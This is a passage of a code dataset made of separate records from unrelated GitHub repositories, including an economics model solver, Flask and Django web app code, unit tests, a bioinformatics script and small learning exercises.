as attributes of the class.\n\n Parameters\n ----------\n params : pandas.DataFrame\n DataFrame containing parameter series.\n options : dict\n Dictionary containing model attributes which are not optimized.\n\n Returns\n -------\n state_space : :class:`~respy.state_space.StateSpace`\n State space of the model which is already solved via backward-induction.\n\n \"\"\"\n params, optim_paras, options = process_params_and_options(params, options)\n\n state_space = StateSpace(params, options)\n\n state_space = solve_with_backward_induction(state_space, optim_paras, options)\n\n return state_space\n\n\ndef solve_with_backward_induction(state_space, optim_paras, options):\n \"\"\"Calculate utilities with backward induction.\n\n Parameters\n ----------\n state_space : :class:`~respy.state_space.StateSpace`\n State space of the model which is not solved yet.\n optim_paras : dict\n Parsed model parameters affected by the optimization.\n options : dict\n Optimization independent model options.\n\n Returns\n -------\n state_space : :class:`~respy.state_space.StateSpace`\n State space containing the emax of the subsequent period of each choice, columns\n 0-3, as well as the maximum emax of the current period for each state, column 4,\n in ``state_space.continuation_values``.\n\n \"\"\"\n n_choices = len(options[\"choices\"])\n n_wages = len(options[\"choices_w_wage\"])\n n_periods = options[\"n_periods\"]\n n_states = state_space.states.shape[0]\n\n state_space.continuation_values = np.zeros((n_states, n_choices))\n state_space.emax_value_functions = np.zeros(n_states)\n\n # For myopic agents, utility of later periods does not play a role.\n if optim_paras[\"delta\"] == 0:\n return state_space\n\n # Unpack arguments.\n delta = optim_paras[\"delta\"]\n shocks_cholesky = optim_paras[\"shocks_cholesky\"]\n\n shocks_cov = shocks_cholesky.dot(shocks_cholesky.T)\n\n for period in reversed(range(n_periods)):\n\n if period == n_periods - 1:\n pass\n\n else:\n states_in_period = state_space.get_attribute_from_period(\"states\", period)\n\n state_space.continuation_values = get_continuation_values(\n states_in_period,\n state_space.indexer,\n state_space.continuation_values,\n state_space.emax_value_functions,\n state_space.is_inadmissible,\n )\n\n n_states_in_period = state_space.get_attribute_from_period(\n \"states\", period\n ).shape[0]\n\n base_draws_sol_period = state_space.base_draws_sol[period]\n draws_emax_risk = transform_disturbances(\n base_draws_sol_period, np.zeros(n_choices), shocks_cholesky, n_wages\n )\n\n # Unpack necessary attributes of the specific period.\n wages = state_space.get_attribute_from_period(\"wages\", period)\n nonpec = state_space.get_attribute_from_period(\"nonpec\", period)\n emaxs_period = state_space.get_attribute_from_period(\n \"continuation_values\", period\n )\n is_inadmissible = state_space.get_attribute_from_period(\n \"is_inadmissible\", period\n )\n\n # The number of interpolation points is the same for all periods. Thus, for some\n # periods the number of interpolation points is larger than the actual number of\n # states. In that case no interpolation is needed.\n any_interpolated = (\n options[\"interpolation_points\"] <= n_states_in_period\n and options[\"interpolation_points\"] != -1\n )\n\n if any_interpolated:\n # These shifts are used to determine the expected values of the two labor\n # market alternatives. These are log normal distributed and thus the draws\n # cannot simply set to zero.\n shifts = np.zeros(n_choices)\n n_choices_w_wage = len(options[\"choices_w_wage\"])\n shifts[:n_choices_w_wage] = np.clip(\n np.exp(np.diag(shocks_cov)[:n_choices_w_wage] / 2.0), 0.0, HUGE_FLOAT\n )\n\n # Get indicator for interpolation and simulation of states. The seed value\n # is the base seed plus the number of the period. Thus, not interpolated\n # states are held constant for each periods and not across periods.\n not_interpolated = get_not_interpolated_indicator(\n options[\"interpolation_points\"],\n n_states_in_period,\n options[\"solution_seed\"] + period,\n )\n\n # Constructing the exogenous variable for all states, including the ones\n # where simulation will take place. All information will be used in either\n # the construction of the prediction model or the prediction step.\n exogenous, max_emax = calculate_exogenous_variables(\n wages, nonpec, emaxs_period, shifts, delta, is_inadmissible\n )\n\n # Constructing the dependent variables for all states at the random subset\n # of points where the EMAX is actually calculated.\n endogenous = calculate_endogenous_variables(\n wages,\n nonpec,\n emaxs_period,\n max_emax,\n not_interpolated,\n draws_emax_risk,\n delta,\n is_inadmissible,\n )\n\n # Create prediction model based on the random subset of points where the\n # EMAX is actually simulated and thus dependent and independent variables\n # are available. For the interpolation points, the actual values are used.\n emax = get_predictions(endogenous, exogenous, max_emax, not_interpolated)\n\n else:\n emax = calculate_emax_value_functions(\n wages, nonpec, emaxs_period, draws_emax_risk, delta, is_inadmissible\n )\n\n state_space.get_attribute_from_period(\"emax_value_functions\", period)[:] = emax\n\n return state_space\n\n\ndef get_not_interpolated_indicator(interpolation_points, n_states, seed):\n \"\"\"Get indicator for states which will be not interpolated.\n\n Randomness in this function is held constant for each period but not across periods.\n This is done by adding the period to the seed set for the solution.\n\n Parameters\n ----------\n interpolation_points : int\n Number of states which will be interpolated.\n n_states : int\n Total number of states in period.\n seed : int\n Seed to set randomness.\n\n Returns\n -------\n not_interpolated : numpy.ndarray\n Array of shape (n_states,) indicating states which will not be interpolated.\n\n \"\"\"\n np.random.seed(seed)\n\n indices = np.random.choice(n_states, size=interpolation_points, replace=False)\n\n not_interpolated = np.full(n_states, False)\n not_interpolated[indices] = True\n\n return not_interpolated\n\n\ndef calculate_exogenous_variables(wages, nonpec, emaxs, draws, delta, is_inadmissible):\n \"\"\"Calculate exogenous variables for interpolation scheme.\n\n Parameters\n ----------\n wages : numpy.ndarray\n Array with shape (n_states_in_period, n_wages).\n nonpec : numpy.ndarray\n Array with shape (n_states_in_period, n_choices).\n emaxs : numpy.ndarray\n Array with shape (n_states_in_period, n_choices).\n draws : numpy.ndarray\n Array with shape (n_draws, n_choices).\n delta : float\n Discount factor.\n is_inadmissible : numpy.ndarray\n Array with shape (n_states_in_period,) containing an indicator for whether the\n state has reached maximum education.\n\n Returns\n -------\n exogenous : numpy.ndarray\n Array with shape (n_states_in_period, n_choices * 2 + 1).\n max_emax : numpy.ndarray\n Array with shape (n_states_in_period,) containing maximum over all value\n functions.\n\n \"\"\"\n value_functions = calculate_value_functions(\n wages, nonpec, emaxs, draws.reshape(1, -1), delta, is_inadmissible\n )\n\n max_value_functions = value_functions.max(axis=1)\n exogenous = max_value_functions - value_functions.reshape(-1, wages.shape[1])\n\n exogenous = np.column_stack(\n (exogenous, np.sqrt(exogenous), np.ones(exogenous.shape[0]))\n )\n\n return exogenous, max_value_functions.reshape(-1)\n\n\ndef calculate_endogenous_variables(\n wages,\n nonpec,\n continuation_values,\n max_value_functions,\n not_interpolated,\n draws,\n delta,\n is_inadmissible,\n):\n \"\"\"Calculate endogenous variable for all states which are not interpolated.\n\n Parameters\n ----------\n wages : numpy.ndarray\n Array with shape (n_states_in_period, n_wages).\n nonpec : numpy.ndarray\n Array with shape (n_states_in_period, n_choices).\n continuation_values : numpy.ndarray\n Array with shape (n_states_in_period, n_choices).\n max_value_functions : numpy.ndarray\n Array with shape (n_states_in_period,) containing maximum over all value\n functions.\n not_interpolated : numpy.ndarray\n Array with shape (n_states_in_period,) containing indicators for simulated\n continuation_values.\n draws : numpy.ndarray\n Array with shape (n_draws, n_choices) containing draws.\n delta : float\n Discount factor.\n is_inadmissible : numpy.ndarray\n Array with shape (n_states_in_period,) containing an indicator for whether the\n state has reached maximum education.\n\n \"\"\"\n emax_value_functions = calculate_emax_value_functions(\n wages[not_interpolated],\n nonpec[not_interpolated],\n continuation_values[not_interpolated],\n draws,\n delta,\n is_inadmissible[not_interpolated],\n )\n endogenous = emax_value_functions - max_value_functions[not_interpolated]\n\n return endogenous\n\n\ndef get_predictions(endogenous, exogenous, max_value_functions, not_interpolated):\n \"\"\"Get predictions for the emax of interpolated states.\n\n Fit an OLS regression of the exogenous variables on the endogenous variables and use\n the results to predict the endogenous variables for all points in state space. Then,\n replace emax values for not interpolated states with true value.\n\n Parameters\n ----------\n endogenous : numpy.ndarray\n Array with shape (num_simulated_states_in_period,) containing emax for states\n used to interpolate the rest.\n exogenous : numpy.ndarray\n Array with shape (n_states_in_period, n_choices * 2 + 1) containing exogenous\n variables.\n max_value_functions : numpy.ndarray\n Array with shape (n_states_in_period,) containing the maximum over all value\n functions.\n not_interpolated : numpy.ndarray\n Array with shape (n_states_in_period,) containing indicator for states which\n are not interpolated and used to estimate the coefficients for the\n interpolation.\n\n \"\"\"\n # Define ordinary least squares model and fit to the data.\n beta = ols(endogenous, exogenous[not_interpolated])\n\n # Use the model to predict EMAX for all states. As in Keane & Wolpin (1994),\n # negative predictions are truncated to zero.\n endogenous_predicted = exogenous.dot(beta)\n endogenous_predicted = np.clip(endogenous_predicted, 0.00, None)\n\n # Construct predicted EMAX for all states and the\n predictions = endogenous_predicted + max_value_functions\n predictions[not_interpolated] = endogenous + max_value_functions[not_interpolated]\n\n if not np.all(np.isfinite(beta)):\n warnings.warn(\"OLS coefficients in the interpolation are not finite.\")\n\n return predictions\n\n\n@guvectorize(\n [\n \"f4[:], f4[:], f4[:], f4[:, :], f4, b1[:], f4[:]\",\n \"f8[:], f8[:], f8[:], f8[:, :], f8, b1[:], f8[:]\",\n ],\n \"(n_choices), (n_choices), (n_choices), (n_draws, n_choices), (), (n_choices) \"\n \"-> ()\",\n nopython=True,\n target=\"parallel\",\n)\ndef calculate_emax_value_functions(\n wages,\n nonpec,\n continuation_values,\n draws,\n delta,\n is_inadmissible,\n emax_value_functions,\n):\n r\"\"\"Calculate the expected maximum of value functions for a set of unobservables.\n\n The function takes an agent and calculates the utility for each of the choices, the\n ex-post rewards, with multiple draws from the distribution of unobservables and adds\n the discounted expected maximum utility of subsequent periods resulting from\n choices. Averaging over all maximum utilities yields the expected maximum utility of\n this state.\n\n The underlying process in this function is called `Monte Carlo integration`_. The\n goal is to approximate an integral by evaluating the integrand at randomly chosen\n points. In this setting, one wants to approximate the expected maximum utility of\n the current state.\n\n Note that ``wages`` have the same length as ``nonpec`` despite that wages are only\n available in some choices. Missing choices are filled with ones. In the case of a\n choice with wage and without wage, flow utilities are\n\n .. math::\n\n \\text{Flow Utility} = \\text{Wage} * \\epsilon + \\text{Non-pecuniary}\n \\text{Flow Utility} = 1 * \\epsilon + \\text{Non-pecuniary}\n\n\n Parameters\n ----------\n wages : numpy.ndarray\n Array with shape (n_choices,) containing wages.\n nonpec : numpy.ndarray\n Array with shape (n_choices,) containing non-pecuniary rewards.\n continuation_values : numpy.ndarray\n Array with shape (n_choices,) containing expected maximum utility for each\n choice in the subsequent period.\n draws : numpy.ndarray\n Array with shape (n_draws, n_choices).\n delta : float\n The discount factor.\n is_inadmissible: numpy.ndarray\n Array with shape (n_choices,) containing indicator for whether the following\n state is inadmissible.\n\n Returns\n -------\n emax_value_functions : float\n Expected maximum utility of an agent.\n\n .. _Monte Carlo integration:\n https://en.wikipedia.org/wiki/Monte_Carlo_integration\n\n \"\"\"\n n_draws, n_choices = draws.shape\n\n emax_value_functions[0] = 0.0\n\n for i in range(n_draws):\n\n max_value_functions = 0.0\n\n for j in range(n_choices):\n value_function, _ = aggregate_keane_wolpin_utility(\n wages[j],\n nonpec[j],\n continuation_values[j],\n draws[i, j],\n delta,\n is_inadmissible[j],\n )\n\n if value_function > max_value_functions:\n max_value_functions = value_function\n\n emax_value_functions[0] += max_value_functions\n\n emax_value_functions[0] /= n_draws\n\n\n@njit\ndef get_continuation_values(\n states, indexer, continuation_values, emax_value_functions, is_inadmissible\n):\n \"\"\"Get the maximum utility from the subsequent period.\n\n This function takes a parent state and looks up the continuation value for each\n of the four choices in the following period.\n\n \"\"\"\n n_choices_w_exp = states.shape[1] - 3\n n_choices = continuation_values.shape[1]\n\n for i in range(states.shape[0]):\n\n k_parent = indexer[array_to_tuple(indexer, states[i])]\n\n for n in range(n_choices):\n if is_inadmissible[k_parent, n]:\n continuation_values[k_parent, n] = 0.0\n else:\n child = states[i].copy()\n # Change to future period.\n child[0] += 1\n\n if n < n_choices_w_exp:\n child[n + 1] += 1\n\n # Change lagged choice.\n child[n_choices_w_exp + 1] = n\n\n k = indexer[array_to_tuple(indexer, child)]\n continuation_values[k_parent, n] = emax_value_functions[k]\n\n return continuation_values\n\n\n@guvectorize(\n [\n \"f4[:], f4[:], f4[:], f4[:, :], f4, b1[:], f4[:, :]\",\n \"f8[:], f8[:], f8[:], f8[:, :], f8, b1[:], f8[:, :]\",\n ],\n \"(n_choices), (n_choices), (n_choices), (n_draws, n_choices), (), (n_choices) \"\n \"-> (n_choices, n_draws)\",\n nopython=True,\n target=\"cpu\",\n)\ndef calculate_value_functions(\n wages, nonpec, continuation_values, draws, delta, is_inadmissible, value_functions\n):\n \"\"\"Calculate choice-specific value functions.\n\n This function is a reduced version of\n :func:`calculate_value_functions_and_flow_utilities` which does not return flow\n utilities. The reason is that a second return argument doubles runtime whereas it is\n only needed during simulation.\n\n \"\"\"\n n_draws, n_choices = draws.shape\n\n for i in range(n_draws):\n for j in range(n_choices):\n value_function, _ = aggregate_keane_wolpin_utility(\n wages[j],\n nonpec[j],\n continuation_values[j],\n draws[i, j],\n delta,\n is_inadmissible[j],\n )\n\n value_functions[j, i] = value_function\n\n\ndef ols(y, x):\n \"\"\"Calculate OLS coefficients using a pseudo-inverse.\n\n Parameters\n ----------\n x : numpy.ndarray\n n x n matrix of independent variables.\n y : numpy.ndarray\n n x 1 matrix with dependent variable.\n\n Returns\n -------\n beta : numpy.ndarray\n n x 1 array of estimated parameter vector\n\n \"\"\"\n beta = np.dot(np.linalg.pinv(x.T.dot(x)), x.T.dot(y))\n return beta\n\n\ndef mse(x1, x2, axis=0):\n \"\"\"Calculate mean squared error.\n\n If ``x1`` and ``x2`` have different shapes, then they need to broadcast. This uses\n :func:`numpy.asanyarray` to convert the input. Whether this is the desired result or\n not depends on the array subclass, for example NumPy matrices will silently\n produce an incorrect result.\n\n Parameters\n ----------\n x1, x2 : array_like\n The performance measure depends on the difference between these two arrays.\n axis : int\n Axis along which the summary statistic is calculated\n\n Returns\n -------\n mse : numpy.ndarray or float\n Mean squared error along given axis.\n\n \"\"\"\n x1 = np.asanyarray(x1)\n x2 = np.asanyarray(x2)\n return np.mean((x1 - x2) ** 2, axis=axis)\n\n\ndef rmse(x1, x2, axis=0):\n \"\"\"Calculate root mean squared error.\n\n If ``x1`` and ``x2`` have different shapes, then they need to broadcast. This uses\n :func:`numpy.asanyarray` to convert the input. Whether this is the desired result or\n not depends on the array subclass, for example NumPy matrices will silently\n produce an incorrect result.\n\n Parameters\n ----------\n x1, x2 : array_like\n The performance measure depends on the difference between these two arrays.\n axis : int\n Axis along which the summary statistic is calculated.\n\n Returns\n -------\n rmse : numpy.ndarray or float\n Root mean squared error along given axis.\n\n \"\"\"\n x1 = np.asanyarray(x1)\n x2 = np.asanyarray(x2)\n return np.sqrt(mse(x1, x2, axis=axis))\n","repo_name":"mo2561057/respy_fixed","sub_path":"respy/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":19670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"38055908394","text":"\"\"\"Tensorflow training intro using tf.train API\"\"\"\nimport tensorflow as tf\nsess = tf.Session()\nW = tf.Variable([.3], dtype = tf.float32)\nb = tf.Variable([-.3], dtype = tf.float32)\nx = tf.placeholder(tf.float32)\nlinear_model = W*x+b\ninit = tf.global_variables_initializer()\nsess.run(init)\ny = tf.placeholder(tf.float32)\nsquared_deltas = tf.square(linear_model -y)\nloss = tf.reduce_sum(squared_deltas)\noptimizer = tf.train.GradientDescentOptimizer(0.01)\ntrain = optimizer.minimize(loss)\nfor i in range(1000):\n sess.run(train, {x: [1,2,3,4],y: [0,-1,-2,-3]})\nprint(sess.run([W,b]))\ncurr_W, curr_b, curr_loss = sess.run([W, b, loss], {x: [1,2,3,4], y: [0,-1,-2,-3]})\nprint(\"W: %s b: %s loss: %s\"%(curr_W, curr_b, curr_loss))\n","repo_name":"abaruah117/tensorflowExp","sub_path":"tensorflowTrainIntro.py","file_name":"tensorflowTrainIntro.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"25212672864","text":"from unittest import mock\nfrom unittest.mock import MagicMock\n\nfrom apps.highlights import init_app\nfrom superdesk.tests import TestCase\n\n\nclass MarkedForHighlightsServiceTest(TestCase):\n \"\"\"Base class for MarkedForHighlightsService tests.\"\"\"\n\n def setUpForChildren(self):\n super().setUpForChildren()\n init_app(self.app)\n try:\n from apps.highlights.service import MarkedForHighlightsService\n except ImportError:\n self.fail(\"Could not import class under test \" \"(MarkedForHighlightsService).\")\n else:\n self.instance = MarkedForHighlightsService()\n\n\n@mock.patch(\"apps.highlights.service.push_notification\")\n@mock.patch(\"apps.highlights.service.get_resource_service\")\nclass CreateMethodTestCase(MarkedForHighlightsServiceTest):\n \"\"\"Tests for the create() method.\"\"\"\n\n def setUp(self):\n db_item_1 = {\n \"_id\": \"tag:item_1\",\n \"highlights\": [],\n \"_updated\": \"01.01.1111\",\n \"_etag\": \"111\",\n }\n db_item_2 = {\n \"_id\": \"tag:item_2\",\n \"highlights\": [],\n \"_updated\": \"02.02.2222\",\n \"_etag\": \"222\",\n }\n\n # some of the existing archive items in database\n self.db_items = {\"tag:item_1\": db_item_1, \"tag:item_2\": db_item_2}\n\n def test_pushes_notifications_for_newly_highlighted_items(self, fake_get_service, fake_push_notify):\n def fake_find_one(**kwargs):\n item_id = kwargs.get(\"_id\")\n return self.db_items.get(item_id)\n\n fake_archive_service = MagicMock()\n fake_archive_service.find_one = fake_find_one\n\n fake_get_service.return_value = fake_archive_service\n\n # items' data in HTTP request\n req_item_1 = {\"marked_item\": \"tag:item_1\", \"highlights\": [\"highlight_X\"]}\n req_item_2 = {\"marked_item\": \"tag:item_2\", \"highlights\": [\"highlight_Y\"]}\n\n self.instance.create([req_item_1, req_item_2])\n\n # notifications should have been pushed, one for each highlighted item\n self.assertEqual(fake_push_notify.call_count, 2)\n fake_push_notify.assert_any_call(\"item:highlights\", marked=1, item_id=\"tag:item_1\", mark_id=\"highlight_X\")\n fake_push_notify.assert_any_call(\"item:highlights\", marked=1, item_id=\"tag:item_2\", mark_id=\"highlight_Y\")\n\n def test_pushes_notifications_for_newly_unhighlighted_items(self, fake_get_service, fake_push_notify):\n # existing items ARE highlighted, and we will test toggling this off\n self.db_items[\"tag:item_1\"][\"highlights\"] = [\"highlight_X\"]\n self.db_items[\"tag:item_2\"][\"highlights\"] = [\"highlight_Y\"]\n\n def fake_find_one(**kwargs):\n item_id = kwargs.get(\"_id\")\n return self.db_items.get(item_id)\n\n fake_archive_service = MagicMock()\n fake_archive_service.find_one = fake_find_one\n\n fake_get_service.return_value = fake_archive_service\n\n # items' data in HTTP request\n req_item_1 = {\"marked_item\": \"tag:item_1\", \"highlights\": [\"highlight_X\"]}\n req_item_2 = {\"marked_item\": \"tag:item_2\", \"highlights\": [\"highlight_Y\"]}\n\n self.instance.create([req_item_1, req_item_2])\n\n # notifications should have been pushed, one for each highlighted item\n self.assertEqual(fake_push_notify.call_count, 2)\n fake_push_notify.assert_any_call(\"item:highlights\", marked=0, item_id=\"tag:item_1\", mark_id=\"highlight_X\")\n fake_push_notify.assert_any_call(\"item:highlights\", marked=0, item_id=\"tag:item_2\", mark_id=\"highlight_Y\")\n","repo_name":"superdesk/superdesk-core","sub_path":"tests/highlights/service_tests.py","file_name":"service_tests.py","file_ext":"py","file_size_in_byte":3563,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"81"} +{"seq_id":"9271980263","text":"from flask import Blueprint, jsonify, request\nfrom flask_login import login_required, current_user\nfrom app.models import Review, db, Restaurant, User, ReviewImage\nfrom app.forms import ReviewForm\nfrom .auth_routes import validation_errors_to_error_messages\nimport random\n\nreviews_routes = Blueprint('reviews', __name__)\n\n\n# Edit a review based on it's id\n@reviews_routes.route('/', methods=['PUT'])\n@login_required\ndef edit_review(id):\n \"\"\"\n Edit a review based on it's id\n \"\"\"\n form = ReviewForm()\n form['csrf_token'].data = request.cookies['csrf_token']\n\n review_to_edit = Review.query.get(id)\n\n if form.validate_on_submit():\n review_to_edit.review=form.data[\"review\"]\n review_to_edit.rating=form.data[\"rating\"]\n\n db.session.commit()\n return review_to_edit.to_dict()\n\n return {'errors': validation_errors_to_error_messages(form.errors)}, 401\n\n\n# Delete a review based on it's id\n@reviews_routes.route('/', methods=['DELETE'])\n@login_required\ndef delete_review(id):\n \"\"\"\n Delete a review based on it's id\n \"\"\"\n\n review_to_delete = Review.query.get(id)\n\n if (review_to_delete.user_id == current_user.id):\n db.session.delete(review_to_delete)\n db.session.commit()\n\n return jsonify({\n \"message\": \"Successfully deleted the restaurant\"\n })\n\n else:\n return jsonify({\n \"message\": \"Forbidden, you are not the owner of the review\",\n \"status_code\": 403\n }), 403\n\n\n@reviews_routes.route('')\ndef splash_page_reviews():\n \"\"\"\n Loading all the reviews and selecting 6 to load on the splash page\n \"\"\"\n\n # Later Add Distinct query\n\n splash_reviews = Review.query.all()\n splash_reviews_dict = [reviews.to_dict() for reviews in splash_reviews]\n\n # Shuffle the order of restaurant, then select only 6 to view on splash\n random.shuffle(splash_reviews_dict)\n shuffled_reviews_dict = splash_reviews_dict[:6]\n\n # For each review, attach user info, review images, restaurant info\n for review in shuffled_reviews_dict:\n\n restaurant = Restaurant.query.get(review[\"restaurant_id\"])\n user_info = User.query.filter(User.id == review['user_id']).one()\n review_images = ReviewImage.query.filter(ReviewImage.review_id == review['id']).all()\n\n restaurant_dict = restaurant.to_dict()\n user_info_dict = user_info.to_dict()\n review_images_dict = [image.to_dict() for image in review_images]\n\n review[\"restaurant_info\"] = restaurant_dict\n review[\"user_info\"] = user_info_dict\n review[\"review_images\"] = review_images_dict\n\n return {\"Splash_Reviews\": shuffled_reviews_dict}\n","repo_name":"Seongju90/Welps-capstone-project","sub_path":"app/api/reviews_routes.py","file_name":"reviews_routes.py","file_ext":"py","file_size_in_byte":2697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"6879445834","text":"from django.contrib.auth.models import AbstractUser\nfrom django.db import models\n\n\nclass User(AbstractUser):\n USERS_ROLES_CHOICES = [\n ('admin', 'Администратор'),\n ('user', 'Пользователь'),\n ('moderator', 'Модератор')\n ]\n\n email = models.EmailField(max_length=254, unique=True)\n first_name = models.CharField('Имя', max_length=150, blank=True)\n last_name = models.CharField('Фамилия', max_length=150, blank=True)\n bio = models.TextField('Биография', blank=True)\n role = models.CharField(\n 'Роль',\n max_length=50,\n choices=USERS_ROLES_CHOICES,\n default='user'\n )\n confirmation_code = models.TextField(\n 'Код рeгистрации',\n max_length=256,\n blank=True\n )\n","repo_name":"MrKalister/yaMDB_api-group_project-","sub_path":"api_yamdb/user/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"} +{"seq_id":"20823803195","text":"from Bio import SeqIO\nimport os\n\nref_genome_bowtie_index = os.environ[\"REFERENCENAME\"] # Bowtie index name\n# Reference genome FASTA file\nref_genome_fasta = os.environ[\"REFERENCEFILENAME\"]\nprint(ref_genome_fasta)\nfolder_name = \"SAMfiles\" # Folder containing SAM files\n\nTA_sites = []\nfilename = ref_genome_fasta\ncount = 0\nfor record in SeqIO.parse(filename, \"fasta\"):\n for i in record.seq:\n if i == \"T\" or i == \"t\":\n T_found = True\n T_pos = count\n elif i == \"A\" or i == \"a\":\n if T_found == True:\n TA_sites.append(T_pos)\n T_found = False\n else:\n T_found = False\n count += 1\n\n# Make dictionary of possible TA sites in reference\nTA_dict = dict.fromkeys(TA_sites, 0)\n\n# Make list of SAM files\ndata_file_names = os.listdir(folder_name)\n\nfiles = []\nfor i in data_file_names:\n if i[-3:] == \"sam\":\n files.append((folder_name + \"/\" + i))\n\nfor i in files:\n # Make dictionary of possible TA sites in reference\n TA_dict = dict.fromkeys(TA_sites, 0)\n fname = i\n save_name = (fname[:-3] + \"wig\")\n save_file = open(save_name, \"w\")\n header = (\"#\", '\\n', \"variableStep chrom=\" + ref_genome_bowtie_index, '\\n')\n save_file.write(''.join(map(str, header)))\n newtab = '\\t'\n newline = '\\n'\n with open(fname) as input:\n next(input)\n next(input)\n next(input)\n for line in input:\n xx = line.split('\\t')\n # xx[0] - read name\n #xx[1] - orientation\n # xx[2] - ref genome\n # xx[3] - map position\n #xx[9] - sequence\n #xx[10] - q-score\n seq_len = len(xx[9])\n if xx[1] == \"16\":\n ins_pos_temp = int(xx[3]) + seq_len - 3\n elif xx[1] == \"0\":\n ins_pos_temp = int(xx[3]) - 1\n else:\n continue\n try:\n TA_dict[ins_pos_temp] += 1\n except KeyError:\n pass\n ordered_keys = sorted(TA_dict)\n ordered_values = []\n for j in ordered_keys:\n save_file.write(str(j))\n save_file.write(newtab)\n ordered_values.append(TA_dict[j])\n save_file.write(str(TA_dict[j]))\n save_file.write(newline)\n print(\"done with \" + fname)\n save_file.close()\n\n# End of fastq to wig script\n","repo_name":"MDHowe4/Himar1-TnSeq-Pipeline","sub_path":"Wig_from_Fastq.py","file_name":"Wig_from_Fastq.py","file_ext":"py","file_size_in_byte":2354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"5967861248","text":"import numpy as np\n\n# Define the functions\nf1 = lambda x: x**2\nf2 = lambda x: np.log(x+1)\nf3 = lambda x: np.sqrt(x)\nf4 = lambda x: np.exp(-x**2)\n\nf = lambda x: 4*x/(1 + 10*x**2)\n\n# Define the data\nx = np.linspace(0, 1, 101)\ny = f(x)\n\n# Define the matrix A\nA = np.vstack([f1(x), f2(x), f3(x), f4(x)]).T\n\n# Compute the least squares solution for the coefficients\nc = np.linalg.pinv(A) @ y\n\n# Construct the approximate function\nf = lambda x: c[0]*f1(x) + c[1]*f2(x) + c[2]*f3(x) + c[3]*f4(x)\n\n# Print the coefficients and the approximate function\nprint(\"Coefficients:\", c)\nprint(\"Approximate function:\", f)","repo_name":"mhco0/TAAL","sub_path":"project3/optmat.py","file_name":"optmat.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"13894796365","text":"import os\nimport sys\nimport json\nimport datetime\nimport numpy as np\nimport skimage.draw\nimport cv2\n\nimport matplotlib.pyplot as plt\n\n# Keras shit\nfrom keras.preprocessing.image import load_img, img_to_array\nfrom mrcnn.config import Config\nfrom mrcnn.model import MaskRCNN\nfrom mrcnn.visualize import display_instances\n\n# define 81 classes that the coco model knows about\nclass_names = ['door', 'lift', 'stairs', 'escalator']\n\n\n# define the test configuration\n\n\nclass TestConfig(Config):\n NAME = 'food'\n\n # We use a GPU with 12GB memory, which can fit two images.\n # Adjust down if you use a smaller GPU.\n IMAGES_PER_GPU = 1\n\n # Number of classes (including background)\n NUM_CLASSES = 1 + 40 # Background + toy\n\n # Number of training steps per epoch\n STEPS_PER_EPOCH = 100\n\n # Skip detections with < 90% confidence\n DETECTION_MIN_CONFIDENCE = 0.1\n\n\ndef main():\n array = sys.argv[1:]\n print(array)\n\n if os.path.exists(array[0]):\n path_to_weight = array[0]\n sys.exit(0)\n else:\n print('path to weight does not exist')\n sys.exit(0)\n if os.path .exists(array[1]):\n path_to_image = array[1]\n else:\n print('path to image does not exist')\n sys.exit(0)\n if float(array[2]) <= 1 and float(array[2]) >= 0:\n conf = array[2]\n else:\n print('confidence must be a float')\n sys.exit(0)\n\n config = TestConfig()\n config.DETECTION_MIN_CONFIDENCE = conf\n\n # define the model\n rcnn = MaskRCNN(mode='inference',\n model_dir='./load_weights', config=config)\n # load coco model weights\n rcnn.load_weights(path_to_weight, by_name=True)\n # load photograph\n img = load_img(path_to_image)\n img = img_to_array(img)\n # make prediction\n results = rcnn.detect([img], verbose=1)\n # get dictionary for first prediction\n r = results[0]\n # show photo with bounding boxes, masks, class labels and scores\n display_instances(img, r['rois'], r['masks'],\n r['class_ids'], class_names, r['scores'])\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"saltedpotato/custom-data-with-mcrnn","sub_path":"detect_segment_test.py","file_name":"detect_segment_test.py","file_ext":"py","file_size_in_byte":2104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"30319505883","text":"import sys\nimport connect\n\ncommands = {\n \"WANT_GAME\": '\\x00',\n \"GAME_START\": '\\x01',\n \"PLAY_CARD\": '\\x02',\n \"PLAY_RESULT\": '\\x03',\n 0: \"WANT_GAME\",\n 1: \"GAME_START\",\n 2: \"PLAY_CARD\", \n 3: \"PLAY_RESULT\",\n '\\x00': \"WANT_GAME\",\n '\\x01': \"GAME_START\",\n '\\x02': \"PLAY_CARD\",\n '\\x03': \"PLAY_RESULT\"\n}\n\nresults = {\n '\\x00': 1,\n '\\x01': -1,\n '\\x02': 0,\n 1: '\\x00',\n -1: '\\x01',\n 0: '\\x02'\n}\n\ndef invalid_response(socks, source):\n print >> sys.stderr, \"invalid response from: \" + source\n connect.shutdown_sockets_and_exit(socks, 1)\n \n\ndef sign(val):\n if val == 0: return 0\n elif val < 0: return -1\n else: return 1\n \n\ndef compare_cards(p1, p2):\n p1, p2 = ord(p1)+13, ord(p2)+13\n diff = p1%13 - p2%13\n diff = sign(diff)\n return (diff, -1*diff)","repo_name":"jwill49/networking","sub_path":"hw2/shared.py","file_name":"shared.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"43850181762","text":"# By submitting this assignment, I agree to the following:\n# \"Aggies do not lie, cheat, or steal, or tolerate those who do\"\n# \"I have not given or received any unauthorized aid on this assignment\"\n#\n# Name: Rushil Udani\n# Section: 219\n# Assignment: 07b Program 3\n# Date: 06 10 2020\n\nsentence = input('Enter a sentence (without punctuation) to convert into Pig Latin.\\n\\t> ')\nwords = sentence.split()\n\nwords = [word + 'yay' if word[0].lower() in 'aeiou' else word[1:] + word[0] + 'ay' for word in words]\n\nprint(' 